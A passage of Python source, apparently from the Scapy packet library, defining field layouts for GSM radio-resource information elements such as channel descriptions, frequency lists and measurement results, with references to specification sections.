ByteField("r67HiLp", None), ByteField("r68LoHp", None), BitField("r68LoLp", None, 5), BitField("r68HiHp", None, 3), ByteField("r68HiLp", None), ByteField("r69LoHp", None), BitField("r69LoLp", None, 5), BitField("r69HiHp", None, 3), ByteField("r69HiLp", None), ByteField("r70LoHp", None), BitField("r70LoLp", None, 5), BitField("r70HiHp", None, 3), ByteField("r70HiLp", None), ByteField("r71LoHp", None), BitField("r71LoLp", None, 5), BitField("r71HiHp", None, 3), ByteField("r71HiLp", None), ByteField("r72LoHp", None), BitField("r72LoLp", None, 5), BitField("r72HiHp", None, 3), ByteField("r72HiLp", None), ByteField("r73LoHp", None), BitField("r73LoLp", None, 5), BitField("r73HiHp", None, 3), ByteField("r73HiLp", None), ByteField("r74LoHp", None), BitField("r74LoLp", None, 5), BitField("r74HiHp", None, 3), ByteField("r74HiLp", None), ByteField("r75LoHp", None), BitField("r75LoLp", None, 5), BitField("r75HiHp", None, 3), ByteField("r75HiLp", None), ByteField("r76LoHp", None), BitField("r76LoLp", None, 5), BitField("r76HiHp", None, 3), ByteField("r76HiLp", None), ByteField("r77LoHp", None), BitField("r77LoLp", None, 5), BitField("r77HiHp", None, 3), ByteField("r77HiLp", None), ByteField("r78LoHp", None), BitField("r78LoLp", None, 5), BitField("r78HiHp", None, 3), ByteField("r78HiLp", None), ByteField("r79LoHp", None), BitField("r79LoLp", None, 5), BitField("r79HiHp", None, 3), ByteField("r79HiLp", None), ByteField("r80LoHp", None), BitField("r80LoLp", None, 5), BitField("r80HiHp", None, 3), ByteField("r80HiLp", None), ByteField("r81LoHp", None), BitField("r81LoLp", None, 5), BitField("r81HiHp", None, 3), ByteField("r81HiLp", None), ByteField("r82LoHp", None), BitField("r82LoLp", None, 5), BitField("r82HiHp", None, 3), ByteField("r82HiLp", None), ByteField("r83LoHp", None), BitField("r83LoLp", None, 5), BitField("r83HiHp", None, 3), ByteField("r83HiLp", None), ByteField("r84LoHp", None), BitField("r84LoLp", None, 5), BitField("r84HiHp", None, 3), ByteField("r84HiLp", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(5, 253, a, self.fields_desc, 1) if self.lengthBR is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 3 to max for L3 message (251) class BaListPref(Packet): """ BA List Pref Section 10.5.2.1c """ name = "BA List Pref" fields_desc = [ XByteField("lengthBLP", None), BitField("fixBit", 0x0, 1), BitField("rangeLower", 0x0, 10), BitField("fixBit2", 0x0, 1), BitField("rangeUpper", 0x0, 10), BitField("baFreq", 0x0, 10), BitField("sparePad", 0x0, 8) ] # len 17 || Have a look at the specs for the field format # Bit map 0 format # Range 1024 format # Range 512 format # Range 256 format # Range 128 format # Variable bit map format class CellChannelDescription(Packet): """ Cell Channel Description Section 10.5.2.1b """ name = "Cell Channel Description " fields_desc = [ BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), ByteField("bit120", 0x0), ByteField("bit112", 0x0), ByteField("bit104", 0x0), ByteField("bit96", 0x0), ByteField("bit88", 0x0), ByteField("bit80", 0x0), ByteField("bit72", 0x0), ByteField("bit64", 0x0), ByteField("bit56", 0x0), ByteField("bit48", 0x0), ByteField("bit40", 0x0), ByteField("bit32", 0x0), ByteField("bit24", 0x0), ByteField("bit16", 0x0), ByteField("bit8", 0x0) ] class CellDescription(Packet): """ Cell Description Section 10.5.2.2 """ name = "Cell Description" fields_desc = [ BitField("bcchHigh", 0x0, 2), BitField("ncc", 0x0, 3), BitField("bcc", 0x0, 3), ByteField("bcchLow", 0x0) ] class CellOptionsBCCH(Packet): """ Cell Options (BCCH) Section 10.5.2.3 """ name = "Cell Options (BCCH)" fields_desc = [ BitField("spare", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 0x0, 2), BitField("rLinkTout", 0x0, 4) ] class CellOptionsSACCH(Packet): """ Cell Options (SACCH) Section 10.5.2.3a """ name = "Cell Options (SACCH)" fields_desc = [ BitField("dtx", 0x0, 1), BitField("pwrc", 0x0, 1), BitField("dtx", 0x0, 1), BitField("rLinkTout", 0x0, 4) ] class CellSelectionParameters(Packet): """ Cell Selection Parameters Section 10.5.2.4 """ name = "Cell Selection Parameters" fields_desc = [ BitField("cellReselect", 0x0, 3), BitField("msTxPwrMax", 0x0, 5), BitField("acs", None, 1), BitField("neci", None, 1), BitField("rxlenAccMin", None, 6) ] class MacModeAndChannelCodingRequest(Packet): """ MAC Mode and Channel Coding Requested Section 10.5.2.4a """ name = "MAC Mode and Channel Coding Requested" fields_desc = [ BitField("macMode", 0x0, 2), BitField("cs", 0x0, 2) ] class ChannelDescription(Packet): """ Channel Description Section 10.5.2.5 """ name = "Channel Description" fields_desc = [ BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x1, 1), BitField("maioHi", 0x0, 4), BitField("maioLo", 0x0, 2), BitField("hsn", 0x0, 6) ] class ChannelDescription2(Packet): """ Channel Description 2 Section 10.5.2.5a """ name = "Channel Description 2" fields_desc = [ BitField("channelTyp", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h=1 # BitField("maioHi", 0x0, 4), # BitField("maioLo", 0x0, 2), # BitField("hsn", 0x0, 6) BitField("spare", 0x0, 2), BitField("arfcnHigh", 0x0, 2), ByteField("arfcnLow", 0x0) ] class ChannelMode(Packet): """ Channel Mode Section 10.5.2.6 """ name = "Channel Mode" fields_desc = [ ByteField("mode", 0x0) ] class ChannelMode2(Packet): """ Channel Mode 2 Section 10.5.2.7 """ name = "Channel Mode 2" fields_desc = [ ByteField("mode", 0x0) ] class ChannelNeeded(Packet): """ Channel Needed Section 10.5.2.8 """ name = "Channel Needed" fields_desc = [ BitField("channel2", 0x0, 2), BitField("channel1", 0x0, 2), ] class ChannelRequestDescription(Packet): """Channel Request Description Section 10.5.2.8a """ name = "Channel Request Description" fields_desc = [ BitField("mt", 0x0, 1), ConditionalField(BitField("spare", 0x0, 39), lambda pkt: pkt.mt == 0), ConditionalField(BitField("spare", 0x0, 3), lambda pkt: pkt.mt == 1), ConditionalField(BitField("priority", 0x0, 2), lambda pkt: pkt.mt == 1), ConditionalField(BitField("rlcMode", 0x0, 1), lambda pkt: pkt.mt == 1), ConditionalField(BitField("llcFrame", 0x1, 1), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("reqBandLsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcMsb", 0x0), lambda pkt: pkt.mt == 1), ConditionalField(ByteField("rlcLsb", 0x0), lambda pkt: pkt.mt == 1) ] class CipherModeSetting(Packet): """Cipher Mode Setting Section 10.5.2.9 """ name = "Cipher Mode Setting" fields_desc = [ BitField("algoId", 0x0, 3), BitField("sc", 0x0, 1), ] class CipherResponse(Packet): """Cipher Response Section 10.5.2.10 """ name = "Cipher Response" fields_desc = [ BitField("spare", 0x0, 3), BitField("cr", 0x0, 1), ] class ControlChannelDescription(Packet): """Control Channel Description Section 10.5.2.11 """ name = "Control Channel Description" fields_desc = [ BitField("spare", 0x0, 1), BitField("att", 0x0, 1), BitField("bsAgBlksRes", 0x0, 3), BitField("ccchConf", 0x0, 3), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1), BitField("bsPaMfrms", 0x0, 3), ByteField("t3212", 0x0) ] class FrequencyChannelSequence(Packet): """Frequency Channel Sequence Section 10.5.2.12""" name = "Frequency Channel Sequence" fields_desc = [ BitField("spare", 0x0, 1), BitField("lowestArfcn", 0x0, 7), BitField("skipArfcn01", 0x0, 4), BitField("skipArfcn02", 0x0, 4), BitField("skipArfcn03", 0x0, 4), BitField("skipArfcn04", 0x0, 4), BitField("skipArfcn05", 0x0, 4), BitField("skipArfcn06", 0x0, 4), BitField("skipArfcn07", 0x0, 4), BitField("skipArfcn08", 0x0, 4), BitField("skipArfcn09", 0x0, 4), BitField("skipArfcn10", 0x0, 4), BitField("skipArfcn11", 0x0, 4), BitField("skipArfcn12", 0x0, 4), BitField("skipArfcn13", 0x0, 4), BitField("skipArfcn14", 0x0, 4), BitField("skipArfcn15", 0x0, 4), BitField("skipArfcn16", 0x0, 4) ] class FrequencyList(Packet): """Frequency List Section 10.5.2.13""" name = "Frequency List" # Problem: # There are several formats for the Frequency List information # element, distinguished by the "format indicator" subfield. # Some formats are frequency bit maps, the others use a special encoding # scheme. fields_desc = [ XByteField("lengthFL", None), BitField("formatID", 0x0, 2), BitField("spare", 0x0, 2), BitField("arfcn124", 0x0, 1), BitField("arfcn123", 0x0, 1), BitField("arfcn122", 0x0, 1), BitField("arfcn121", 0x0, 1), ByteField("arfcn120", 0x0), ByteField("arfcn112", 0x0), ByteField("arfcn104", 0x0), ByteField("arfcn96", 0x0), ByteField("arfcn88", 0x0), ByteField("arfcn80", 0x0), ByteField("arfcn72", 0x0), ByteField("arfcn64", 0x0), ByteField("arfcn56", 0x0), ByteField("arfcn48", 0x0), ByteField("arfcn40", 0x0), ByteField("arfcn32", 0x0), ByteField("arfcn24", 0x0), ByteField("arfcn16", 0x0), ByteField("arfcn8", 0x0) ] # len 4 to 13 class GroupChannelDescription(Packet): """Group Channel Description Section 10.5.2.14b""" name = "Group Channel Description" fields_desc = [ XByteField("lengthGCD", None), BitField("channelType", 0x0, 5), BitField("tn", 0x0, 3), BitField("tsc", 0x0, 3), BitField("h", 0x0, 1), # if h == 0 the packet looks the following way: ConditionalField(BitField("spare", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(BitField("arfcnHi", 0x0, 2), lambda pkt: pkt. h == 0x0), ConditionalField(ByteField("arfcnLo", None), lambda pkt: pkt. h == 0x0), # if h == 1 the packet looks the following way: ConditionalField(BitField("maioHi", 0x0, 4), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("maioLo", None, 2), lambda pkt: pkt. h == 0x1), ConditionalField(BitField("hsn", None, 6), lambda pkt: pkt. h == 0x1), # finished with conditional fields ByteField("maC6", None), ByteField("maC7", None), ByteField("maC8", None), ByteField("maC9", None), ByteField("maC10", None), ByteField("maC11", None), ByteField("maC12", None), ByteField("maC13", None), ByteField("maC14", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(4, 13, a, self.fields_desc, 1) if self.lengthGCD is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class GprsResumption(Packet): """GPRS Resumption Section 10.5.2.14c""" name = "GPRS Resumption" fields_desc = [ BitField("spare", 0x0, 3), BitField("ack", 0x0, 1) ] class HandoverReference(Packet): """Handover Reference Section 10.5.2.15""" name = "Handover Reference" fields_desc = [ ByteField("handoverRef", 0x0) ] class IraRestOctets(Packet): """IAR Rest Octets Section 10.5.2.17""" name = "IAR Rest Octets" fields_desc = [ BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), BitField("spare09", 0x0, 1), BitField("spare10", 0x0, 1), BitField("spare11", 0x1, 1), BitField("spare12", 0x0, 1), BitField("spare13", 0x1, 1), BitField("spare14", 0x0, 1), BitField("spare15", 0x1, 1), BitField("spare16", 0x1, 1), BitField("spare17", 0x0, 1), BitField("spare18", 0x0, 1), BitField("spare19", 0x1, 1), BitField("spare20", 0x0, 1), BitField("spare21", 0x1, 1), BitField("spare22", 0x0, 1), BitField("spare23", 0x1, 1), BitField("spare24", 0x1, 1) ] # len is 1 to 5 what do we do with the variable size? no lenght # field?! WTF class IaxRestOctets(Packet): """IAX Rest Octets Section 10.5.2.18""" name = "IAX Rest Octets" fields_desc = [ BitField("spare01", 0x0, 1), BitField("spare02", 0x0, 1), BitField("spare03", 0x1, 1), BitField("spare04", 0x0, 1), BitField("spare05", 0x1, 1), BitField("spare06", 0x0, 1), BitField("spare07", 0x1, 1), BitField("spare08", 0x1, 1), ByteField("spareB1", None), ByteField("spareB2", None), ByteField("spareB3", None) ] class L2PseudoLength(Packet): """L2 Pseudo Length Section 10.5.2.19""" name = "L2 Pseudo Length" fields_desc = [ BitField("l2pLength", None, 6), BitField("bit2", 0x0, 1), BitField("bit1", 0x1, 1) ] class MeasurementResults(Packet): """Measurement Results Section 10.5.2.20""" name = "Measurement Results" fields_desc = [ BitField("baUsed", 0x0, 1), BitField("dtxUsed", 0x0, 1), BitField("rxLevFull", 0x0, 6), BitField("spare", 0x0, 1), BitField("measValid", 0x0, 1), BitField("rxLevSub", 0x0, 6), BitField("spare0", 0x0, 1), BitField("rxqualFull", 0x0, 3), BitField("rxqualSub", 0x0, 3), BitField("noNcellHi", 0x0, 1), BitField("noNcellLo", 0x0, 2), BitField("rxlevC1", 0x0, 6), BitField("bcchC1", 0x0, 5), BitField("bsicC1Hi", 0x0, 3), BitField("bsicC1Lo", 0x0, 3), BitField("rxlevC2", 0x0, 5), BitField("rxlevC2Lo", 0x0, 1), BitField("bcchC2", 0x0, 5), BitField("bsicC2Hi", 0x0, 2), BitField("bscicC2Lo", 0x0, 4), BitField("bscicC2Hi", 0x0, 4), BitField("rxlevC3Lo", 0x0, 2), BitField("bcchC3", 0x0, 5), BitField("rxlevC3Hi", 0x0, 1), BitField("bsicC3Lo", 0x0, 5), BitField("bsicC3Hi", 0x0, 3), BitField("rxlevC4Lo", 0x0, 3), BitField("bcchC4", 0x0, 5), BitField("bsicC4", 0x0, 6), BitField("rxlevC5Hi", 0x0, 2), BitField("rxlevC5Lo", 0x0, 4), BitField("bcchC5Hi", 0x0, 4), BitField("bcchC5Lo", 0x0, 1), BitField("bsicC5", 0x0, 6), BitField("rxlevC6", 0x0, 1), BitField("rxlevC6Lo", 0x0, 5), BitField("bcchC6Hi", 0x0, 3), BitField("bcchC6Lo", 0x0, 3), BitField("bsicC6", 0x0, 5) ] class GprsMeasurementResults(Packet): """GPRS Measurement Results Section 10.5.2.20a""" name = "GPRS Measurement Results" fields_desc = [ BitField("cValue", 0x0, 6), BitField("rxqualHi", 0x0, 2), BitField("rxqL", 0x0, 1), BitField("spare", 0x0, 1), BitField("signVar", 0x0, 6) ] # len 3 to 10 class MobileAllocation(Packet): """Mobile Allocation Section 10.5.2.21""" name = "Mobile Allocation" fields_desc = [ XByteField("lengthMA", None), ByteField("maC64", 0x12), ByteField("maC56", None), # optional fields start here ByteField("maC48", None), ByteField("maC40", None), ByteField("maC32", None), ByteField("maC24", None), ByteField("maC16", None), ByteField("maC8", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 9, a, self.fields_desc, 1) if self.lengthMA is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class MobileTimeDifference(Packet): """Mobile Time Difference Section 10.5.2.21a""" name = "Mobile Time Difference" fields_desc = [ XByteField("lengthMTD", 0x5), ByteField("valueHi", 0x0), ByteField("valueCnt", 0x0), BitField("valueLow", 0x0, 5), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1) ] # min 4 octets max 8 class MultiRateConfiguration(Packet): """ MultiRate configuration Section 10.5.2.21aa""" name = "MultiRate Configuration" # This packet has a variable length and hence structure. This packet # implements the longuest possible packet. If you biuild a shorter # packet, for example having only 6 bytes, the last 4 bytes are named # "Spare" in the specs. Here they are named "threshold2" fields_desc = [ XByteField("lengthMRC", None), BitField("mrVersion", 0x0, 3), BitField("spare", 0x0, 1), BitField("icmi", 0x0, 1), BitField("spare", 0x0, 1), BitField("startMode", 0x0, 2), ByteField("amrCodec", None), BitField("spare", None, 2), BitField("threshold1", None, 6), BitField("hysteresis1", None, 4), BitField("threshold2", None, 4), BitField("threshold2cnt", None, 2), BitField("hysteresis2", None, 4), BitField("threshold3", None, 2), BitField("threshold3cnt", None, 4), BitField("hysteresis3", None, 4) ] def post_build(self, p, pay): # we set the length a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 7, a, self.fields_desc, 1) if self.lengthMRC is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 2 to 11 class MultislotAllocation(Packet): """Multislot Allocation Section 10.5.2.21b""" name = "Multislot Allocation" fields_desc = [ XByteField("lengthMSA", None), BitField("ext0", 0x1, 1), BitField("da", 0x0, 7), ConditionalField(BitField("ext1", 0x1, 1), # optional lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ua", 0x0, 7), lambda pkt: pkt.ext0 == 0), ByteField("chan1", None), ByteField("chan2", None), ByteField("chan3", None), ByteField("chan4", None), ByteField("chan5", None), ByteField("chan6", None), ByteField("chan7", None), ByteField("chan8", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(1, 11, a, self.fields_desc, 1) if res[0] != 0: p = p[:-res[0]] if self.lengthMSA is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay class NcMode(Packet): """NC mode Section 10.5.2.21c""" name = "NC Mode" fields_desc = [ BitField("spare", 0x0, 2), BitField("ncMode", 0x0, 2) ] class NeighbourCellsDescription(Packet): """Neighbour Cells Description Section 10.5.2.22""" name = "Neighbour Cells Description" fields_desc = [ BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("extInd", 0x0, 1), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] class NeighbourCellsDescription2(Packet): """Neighbour Cells Description 2 Section 10.5.2.22a""" name = "Neighbour Cells Description 2" fields_desc = [ BitField("bit128", 0x0, 1), BitField("multiband", 0x0, 2), BitField("baInd", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("120bits", 0x0, 120) ] # len 4 # strange packet, lots of valid formats # ideas for the dynamic packets: # 1] for user interaction: Create an interactive "builder" based on a # Q/A process (not very scapy like) # 2] for usage in scripts, create an alternative packet for every # possible packet layout # class DedicatedModeOrTBF(Packet): """Dedicated mode or TBF Section 10.5.2.25b""" name = "Dedicated Mode or TBF" fields_desc = [ BitField("spare", 0x0, 1), BitField("tma", 0x0, 1), BitField("downlink", 0x0, 1), BitField("td", 0x0, 1) ] class PageMode(Packet): """Page Mode Section 10.5.2.26""" name = "Page Mode" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("pm", 0x0, 2) ] class NccPermitted(Packet): """NCC Permitted Section 10.5.2.27""" name = "NCC Permited" fields_desc = [ ByteField("nccPerm", 0x0) ] class PowerCommand(Packet): """Power Command Section 10.5.2.28""" name = "Power Command" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class PowerCommandAndAccessType(Packet): """Power Command and access type Section 10.5.2.28a""" name = "Power Command and Access Type" fields_desc = [ BitField("atc", 0x0, 1), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("powerLvl", 0x0, 5) ] class RachControlParameters(Packet): """RACH Control Parameters Section 10.5.2.29""" name = "RACH Control Parameters" fields_desc = [ BitField("maxRetrans", 0x0, 2), BitField("txInteger", 0x0, 4), BitField("cellBarrAccess", 0x0, 1), BitField("re", 0x0, 1), BitField("ACC15", 0x0, 1), BitField("ACC14", 0x0, 1), BitField("ACC13", 0x0, 1), BitField("ACC12", 0x0, 1), BitField("ACC11", 0x0, 1), BitField("ACC10", 0x0, 1), BitField("ACC09", 0x0, 1), BitField("ACC08", 0x0, 1), BitField("ACC07", 0x0, 1), BitField("ACC06", 0x0, 1), BitField("ACC05", 0x0, 1), BitField("ACC04", 0x0, 1), BitField("ACC03", 0x0, 1), BitField("ACC02", 0x0, 1), BitField("ACC01", 0x0, 1), BitField("ACC00", 0x0, 1), ] class RequestReference(Packet): """Request Reference Section 10.5.2.30""" name = "Request Reference" fields_desc = [ ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class RrCause(Packet): """RR Cause Section 10.5.2.31""" name = "RR Cause" fields_desc = [ ByteField("rrCause", 0x0) ] class StartingTime(Packet): """Starting Time Section 10.5.2.38""" name = "Starting Time" fields_desc = [ ByteField("ra", 0x0), BitField("t1", 0x0, 5), BitField("t3Hi", 0x0, 3), BitField("t3Lo", 0x0, 3), BitField("t2", 0x0, 5) ] class SynchronizationIndication(Packet): """Synchronization Indication Section 10.5.2.39""" name = "Synchronization Indication" fields_desc = [ BitField("nci", 0x0, 1), BitField("rot", 0x0, 1), BitField("si", 0x0, 2) ] class TimingAdvance(Packet): """Timing Advance Section 10.5.2.40""" name = "Timing Advance" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("timingVal", 0x0, 6) ] class TimeDifference(Packet): """ Time Difference Section 10.5.2.41""" name = "Time Difference" fields_desc = [ XByteField("lengthTD", 0x3), ByteField("timeValue", 0x0) ] class Tlli(Packet): """ TLLI Section Section 10.5.2.41a""" name = "TLLI" fields_desc = [ ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class TmsiPTmsi(Packet): """ TMSI/P-TMSI Section 10.5.2.42""" name = "TMSI/P-TMSI" fields_desc = [ ByteField("value", 0x0), ByteField("value1", 0x0), ByteField("value2", 0x0), ByteField("value3", 0x0) ] class VgcsTargetModeIdentication(Packet): """ VGCS target Mode Indication 10.5.2.42a""" name = "VGCS Target Mode Indication" fields_desc = [ XByteField("lengthVTMI", 0x2), BitField("targerMode", 0x0, 2), BitField("cipherKeyNb", 0x0, 4), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1) ] class WaitIndication(Packet): """ Wait Indication Section 10.5.2.43""" name = "Wait Indication" fields_desc = [ # asciiart of specs strange ByteField("timeoutVal", 0x0) ] #class Si10RestOctets(Packet): # """SI10 rest octets 10.5.2.44""" # name = "SI10 rest octets" # fields_desc = [ # len 17 class ExtendedMeasurementResults(Packet): """EXTENDED MEASUREMENT RESULTS Section 10.5.2.45""" name = "Extended Measurement Results" fields_desc = [ BitField("scUsed", None, 1), BitField("dtxUsed", None, 1), BitField("rxLevC0", None, 6), BitField("rxLevC1", None, 6), BitField("rxLevC2Hi", None, 2), BitField("rxLevC2Lo", None, 4), BitField("rxLevC3Hi", None, 4), BitField("rxLevC3Lo", None, 3), BitField("rxLevC4", None, 5), BitField("rxLevC5", None, 6), BitField("rxLevC6Hi", None, 2), BitField("rxLevC6Lo", None, 4), BitField("rxLevC7Hi", None, 4), BitField("rxLevC7Lo", None, 2), BitField("rxLevC8", None, 6), BitField("rxLevC9", None, 6), BitField("rxLevC10Hi", None, 2), BitField("rxLevC10Lo", None, 4), BitField("rxLevC11Hi", None, 4), BitField("rxLevC13Lo", None, 2), BitField("rxLevC12", None, 6), BitField("rxLevC13", None, 6), BitField("rxLevC14Hi", None, 2), BitField("rxLevC14Lo", None, 4), BitField("rxLevC15Hi", None, 4), BitField("rxLevC15Lo", None, 2), BitField("rxLevC16", None, 6), BitField("rxLevC17", None, 6), BitField("rxLevC18Hi", None, 2), BitField("rxLevC18Lo", None, 4), BitField("rxLevC19Hi", None, 4), BitField("rxLevC19Lo", None, 2), BitField("rxLevC20", None, 6) ] # len 17 class ExtendedMeasurementFrequencyList(Packet): """Extended Measurement Frequency List Section 10.5.2.46""" name = "Extended Measurement Frequency List" fields_desc = [ BitField("bit128", 0x0, 1), BitField("bit127", 0x0, 1), BitField("spare", 0x0, 1), BitField("seqCode", 0x0, 1), BitField("bit124", 0x0, 1), BitField("bit123", 0x0, 1), BitField("bit122", 0x0, 1), BitField("bit121", 0x0, 1), BitField("bitsRest", 0x0, 128) ] class SuspensionCause(Packet): """Suspension Cause Section 10.5.2.47""" name = "Suspension Cause" fields_desc = [ ByteField("suspVal", 0x0) ] class ApduID(Packet): """APDU Flags Section 10.5.2.48""" name = "Apdu Id" fields_desc = [ BitField("id", None, 4) ] class ApduFlags(Packet): """APDU Flags Section 10.5.2.49""" name = "Apdu Flags" fields_desc = [ BitField("spare", 0x0, 1), BitField("cr", 0x0, 1), BitField("firstSeg", 0x0, 1), BitField("lastSeg", 0x0, 1) ] # len 1 to max L3 (251) (done) class ApduData(Packet): """APDU Data Section 10.5.2.50""" name = "Apdu Data" fields_desc = [ XByteField("lengthAD", None), #optional ByteField("apuInfo1", None), ByteField("apuInfo2", None), ByteField("apuInfo3", None), ByteField("apuInfo4", None), ByteField("apuInfo5", None), ByteField("apuInfo6", None), ByteField("apuInfo7", None), ByteField("apuInfo8", None), ByteField("apuInfo9", None), ByteField("apuInfo10", None), ByteField("apuInfo11", None), ByteField("apuInfo12", None), ByteField("apuInfo13", None), ByteField("apuInfo14", None), ByteField("apuInfo15", None), ByteField("apuInfo16", None), ByteField("apuInfo17", None), ByteField("apuInfo18", None), ByteField("apuInfo19", None), ByteField("apuInfo20", None), ByteField("apuInfo21", None), ByteField("apuInfo22", None), ByteField("apuInfo23", None), ByteField("apuInfo24", None), ByteField("apuInfo25", None), ByteField("apuInfo26", None), ByteField("apuInfo27", None), ByteField("apuInfo28", None), ByteField("apuInfo29", None), ByteField("apuInfo30", None), ByteField("apuInfo31", None), ByteField("apuInfo32", None), ByteField("apuInfo33", None), ByteField("apuInfo34", None), ByteField("apuInfo35", None), ByteField("apuInfo36", None), ByteField("apuInfo37", None), ByteField("apuInfo38", None), ByteField("apuInfo39", None), ByteField("apuInfo40", None), ByteField("apuInfo41", None), ByteField("apuInfo42", None), ByteField("apuInfo43", None), ByteField("apuInfo44", None), ByteField("apuInfo45", None), ByteField("apuInfo46", None), ByteField("apuInfo47", None), ByteField("apuInfo48", None), ByteField("apuInfo49", None), ByteField("apuInfo50", None), ByteField("apuInfo51", None), ByteField("apuInfo52", None), ByteField("apuInfo53", None), ByteField("apuInfo54", None), ByteField("apuInfo55", None), ByteField("apuInfo56", None), ByteField("apuInfo57", None), ByteField("apuInfo58", None), ByteField("apuInfo59", None), ByteField("apuInfo60", None), ByteField("apuInfo61", None), ByteField("apuInfo62", None), ByteField("apuInfo63", None), ByteField("apuInfo64", None), ByteField("apuInfo65", None), ByteField("apuInfo66", None), ByteField("apuInfo67", None), ByteField("apuInfo68", None), ByteField("apuInfo69", None), ByteField("apuInfo70", None), ByteField("apuInfo71", None), ByteField("apuInfo72", None), ByteField("apuInfo73", None), ByteField("apuInfo74", None), ByteField("apuInfo75", None), ByteField("apuInfo76", None), ByteField("apuInfo77", None), ByteField("apuInfo78", None), ByteField("apuInfo79", None), ByteField("apuInfo80", None), ByteField("apuInfo81", None), ByteField("apuInfo82", None), ByteField("apuInfo83", None), ByteField("apuInfo84", None), ByteField("apuInfo85", None), ByteField("apuInfo86", None), ByteField("apuInfo87", None), ByteField("apuInfo88", None), ByteField("apuInfo89", None), ByteField("apuInfo90", None), ByteField("apuInfo91", None), ByteField("apuInfo92", None), ByteField("apuInfo93", None), ByteField("apuInfo94", None), ByteField("apuInfo95", None), ByteField("apuInfo96", None), ByteField("apuInfo97", None), ByteField("apuInfo98", None), ByteField("apuInfo99", None), ByteField("apuInfo100", None), ByteField("apuInfo101", None), ByteField("apuInfo102", None), ByteField("apuInfo103", None), ByteField("apuInfo104", None), ByteField("apuInfo105", None), ByteField("apuInfo106", None), ByteField("apuInfo107", None), ByteField("apuInfo108", None), ByteField("apuInfo109", None), ByteField("apuInfo110", None), ByteField("apuInfo111", None), ByteField("apuInfo112", None), ByteField("apuInfo113", None), ByteField("apuInfo114", None), ByteField("apuInfo115", None), ByteField("apuInfo116", None), ByteField("apuInfo117", None), ByteField("apuInfo118", None), ByteField("apuInfo119", None), ByteField("apuInfo120", None), ByteField("apuInfo121", None), ByteField("apuInfo122", None), ByteField("apuInfo123", None), ByteField("apuInfo124", None), ByteField("apuInfo125", None), ByteField("apuInfo126", None), ByteField("apuInfo127", None), ByteField("apuInfo128", None), ByteField("apuInfo129", None), ByteField("apuInfo130", None), ByteField("apuInfo131", None), ByteField("apuInfo132", None), ByteField("apuInfo133", None), ByteField("apuInfo134", None), ByteField("apuInfo135", None), ByteField("apuInfo136", None), ByteField("apuInfo137", None), ByteField("apuInfo138", None), ByteField("apuInfo139", None), ByteField("apuInfo140", None), ByteField("apuInfo141", None), ByteField("apuInfo142", None), ByteField("apuInfo143", None), ByteField("apuInfo144", None), ByteField("apuInfo145", None), ByteField("apuInfo146", None), ByteField("apuInfo147", None), ByteField("apuInfo148", None), ByteField("apuInfo149", None), ByteField("apuInfo150", None), ByteField("apuInfo151", None), ByteField("apuInfo152", None), ByteField("apuInfo153", None), ByteField("apuInfo154", None), ByteField("apuInfo155", None), ByteField("apuInfo156", None), ByteField("apuInfo157", None), ByteField("apuInfo158", None), ByteField("apuInfo159", None), ByteField("apuInfo160", None), ByteField("apuInfo161", None), ByteField("apuInfo162", None), ByteField("apuInfo163", None), ByteField("apuInfo164", None), ByteField("apuInfo165", None), ByteField("apuInfo166", None), ByteField("apuInfo167", None), ByteField("apuInfo168", None), ByteField("apuInfo169", None), ByteField("apuInfo170", None), 